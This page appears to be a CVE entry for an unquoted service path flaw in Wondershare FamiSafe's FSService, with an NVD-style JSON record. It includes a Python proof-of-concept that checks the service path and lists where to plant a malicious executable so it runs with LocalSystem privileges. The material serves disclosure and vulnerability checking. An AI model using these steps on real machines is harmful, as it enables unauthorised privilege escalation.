CVE-2022-50902

#!/usr/bin/env python3 # CVE-2022-50902 PoC - Wondershare FamiSafe FSService Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in Wondershare FamiSafe import os import sys import subprocess def check_vulnerability(): """Check if the target system is vulnerable to CVE-2022-50902""" try: # Query the FSService using WMIC or sc command result = subprocess.run( ['sc', 'qc', 'FSService'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() # Check if path contains spaces and is not quoted if ' ' in path and not (path.startswith('"') and path.endswith('"')): print(f"[+] VULNERABLE: Unquoted path detected: {path}") print(f"[+] Attack vector: Place malicious executable in intermediate path") return True else: print(f"[-] NOT VULNERABLE: Path is properly quoted") return False return False except Exception as e: print(f"[-] Error checking vulnerability: {e}") return False def exploit(): """Generate exploit payload location""" vulnerable_path = r"C:\Program Files (x86)\Wondershare\FamiSafe\FSService.exe" print("\n[*] Exploitation steps for CVE-2022-50902:") print("=" * 60) print("1. Create malicious executable (e.g., Program.exe)") print(f"2. Place it at: C:\\Program.exe") print("3. Wait for service restart or system reboot") print("4. Malicious code will execute with LocalSystem privileges") print("\n[*] Potential injection points:") print(" - C:\\Program.exe (before 'Program Files')") print(" - C:\\Program Files\\FamiSafe.exe (before 'Wondershare')") print(" - C:\\Program Files (x86)\\Wondershare.exe (before 'Wondershare')") print("=" * 60) if __name__ == "__main__": print("CVE-2022-50902 - Wondershare FamiSafe FSService Unquoted Service Path") print("=" * 70) if os.name == 'nt': if check_vulnerability(): exploit() else: print("\n[-] Target is not vulnerable to this CVE") else: print("[-] This exploit only works on Windows systems")

{"cve": {"id": "CVE-2022-50902", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:15:52.540", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Wondershare FamiSafe 1.0 contains an unquoted service path vulnerability in the FSService that allows local users to potentially execute code with elevated privileges. Attackers can exploit the unquoted path in C:\\Program Files (x86)\\Wondershare\\FamiSafe\\ to inject malicious code that would run with LocalSystem permissions during service startup."}, {"lang": "es", "value": "Wondershare FamiSafe 1.0 contiene una vulnerabilidad de ruta de servicio sin comillas en el FSService que permite a los usuarios locales ejecutar código potencialmente con privilegios elevados. Los atacantes pueden explotar la ruta sin comillas en C:\\Program Files (x86)\\Wondershare\\FamiSafe\\ para inyectar código malicioso que se ejecutaría con permisos de LocalSystem durante el inicio del servicio."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-91"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/50757", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/wondershare-famisafe-fsservice-unquoted-service-path", "source": "[email protected]"}, {"url": "https://www.wondershare.com/", "source": "[email protected]"}]}}